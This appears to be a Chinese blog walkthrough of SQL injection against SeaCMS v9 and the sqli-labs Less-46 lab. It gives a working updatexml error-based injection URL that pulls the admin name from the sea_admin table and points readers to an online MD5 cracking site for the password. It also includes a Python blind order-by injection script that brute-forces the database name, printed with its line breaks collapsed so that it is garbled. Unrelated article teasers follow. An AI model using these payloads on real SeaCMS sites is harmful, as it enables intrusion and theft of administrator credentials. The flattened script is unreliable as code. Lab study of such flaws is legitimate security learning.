海洋cmsv9报错注入,order by 和limit注入

ops/2025/3/4 3:46:08/

海洋cmsv9

1,我们拿到海洋cmsv9源码分析发现注入点,$rlist

2,seacms开源,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为
sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

经过源码分析,使用以下语句注入(limit避免管理员有多个,导致SQL语句报错):
127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次尝试:

我们发现注入并没有成功

接下来我们在数据库查看表的情况

我们发现sea_comment中并没有数据所以并没有回显

那我们就添加数据

insert into sea_comment(id,uid,v_id,typeid,username,ip,ischeck,dtime,msg,m_type,reply,agree,anti,pic,vote) values (1,2,3,4,'hyd1','192,168,106,133',1,01,'sample comment',0,0,0,0,'exam01.jpg',0),(5,6,7,8,'hyd2','192,168,106,134',2,02,'sample comment',0,0,0,0,'exam02.jpg',0);

然后我们重新进行注入

发现密码是通过MD5加密了的

所以就到md5在线解密破解,md5解密加密这个网站解密

oeder by

我们发现俩次username中发现第6行不一样,所以我们可以利用这里进行注入

import requests
from bs4 import BeautifulSoupdef getDatabase(url):dataname = ''for i in range(1, 20):  # 检查每个字符位置for j in range(32,127):payload = "if(ascii(substr(database(),%d,1))=%d,username,password) -- " % (i, j)res = {"sort": payload}r = requests.get(url, params=res)# 检查返回内容,使用 BeautifulSoup 解析 HTMLsoup = BeautifulSoup(r.text, 'html.parser')# 提取密码列第6行password_row = soup.find_all('tr')[6]  # 第6行(索引为5)password_column = password_row.find_all('td')[1]  # 假设密码在第二列# 如果返回的是 'crappy',则跳过该字符#print(password_column.text.strip())if password_column.text.strip() == 'secure':#print(1)  # 如果是 crapp,就跳过当前字符w=1else:# 如果没有找到有效字符,或者跳过该字符,则继续下一个字符dataname += chr(j)  # 将识别到的字符添加到数据库名称print(dataname)  # 打印当前已经找到的字符if __name__ == '__main__':url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php'getDatabase(url)


http://www.ppmy.cn/ops/162423.html

相关文章

【Rust中级教程】2.13. 结语(杂谈):我学习Rust的心路历程

2.13.1. 【Rust自学】专栏的缘起 笔者我在去年12月份之前对Rust还一无所知,后来看到JetBrains推出了Rust Rover,想着自己毕竟是买的全产品证书就下载下来玩了一下。原本就是看看,都打算卸载了,后来去网上查才发现Rust这门语言挺牛…

使用3090显卡部署Wan2.1生成视频

layout: post title: 使用3090显卡部署Wan2.1生成视频 catalog: true tag: [Kubernetes, GPU, AI] 使用3090显卡部署Wan2.1生成视频 1. 环境说明2. 模型下载3. 克隆仓库4. 安装依赖5. 生成视频 5.1. 使用generate脚本生成5.2. 使用gradio启动UI界面生成 5.2.1. 启动gradio服务5…

Android APK组成编译打包流程详解

Android APK(Android Package)是 Android 应用的安装包文件,其组成和打包流程涉及多个步骤和文件结构。以下是详细的说明: 一、APK 的组成 APK 是一个 ZIP 格式的压缩包,包含应用运行所需的所有文件。解压后主要包含以…

基于机器学习的结构MRI分析:预测轻度认知障碍向阿尔茨海默病的转化

摘要 阿尔茨海默病是一种致残性神经退行性疾病,目前尚无有效的治疗方法。预测阿尔茨海默病的诊断对患者的预后至关重要,但目前的阿尔茨海默病生物标志物检测方法具有侵入性、耗时且昂贵。因此,开发基于MRI的计算方法用于阿尔茨海默病的早期诊…

P8615 [蓝桥杯 2014 国 C] 拼接平方数--substr、to_string、stoi

P8615 [蓝桥杯 2014 国 C] 拼接平方数--substr、to_string、stoi 题目 解析介绍一下这三个函数:1、to_string():2、stoi():3、substr():代码 题目 解析 首先…

手机控制电脑远程关机

远程看看软件兼容iOS和Android设备,该软件除了能通过电脑远程关闭另一台电脑外,您还可以通过它在手机上远程关闭公司的电脑。您可以按照以下步骤进行操作以实现电脑远程关机: 步骤1.在手机应用商店搜索“远程看看”进行软件安装,…

2025网络安全等级测评报告,信息安全风险评估报告(Word模板)

一、概述 1.1工作方法 1.2评估依据 1.3评估范围 1.4评估方法 1.5基本信息 二、资产分析 2.1 信息资产识别概述 2.2 信息资产识别 三、评估说明 3.1无线网络安全检查项目评估 3.2无线网络与系统安全评估 3.3 ip管理与补丁管理 3.4防火墙 四、威胁细类分析 4.1威胁…

力扣hot100刷题——21~30

文章目录 21.搜索二维矩阵Ⅱ题目描述思路一:顺序搜索code思路二:二分搜索code思路三:类似于二叉搜索树的查找code 22.相交链表题目描述思路:双指针codecode(简化版) 23.反转链表题目描述思路一:双指针code思路二&#…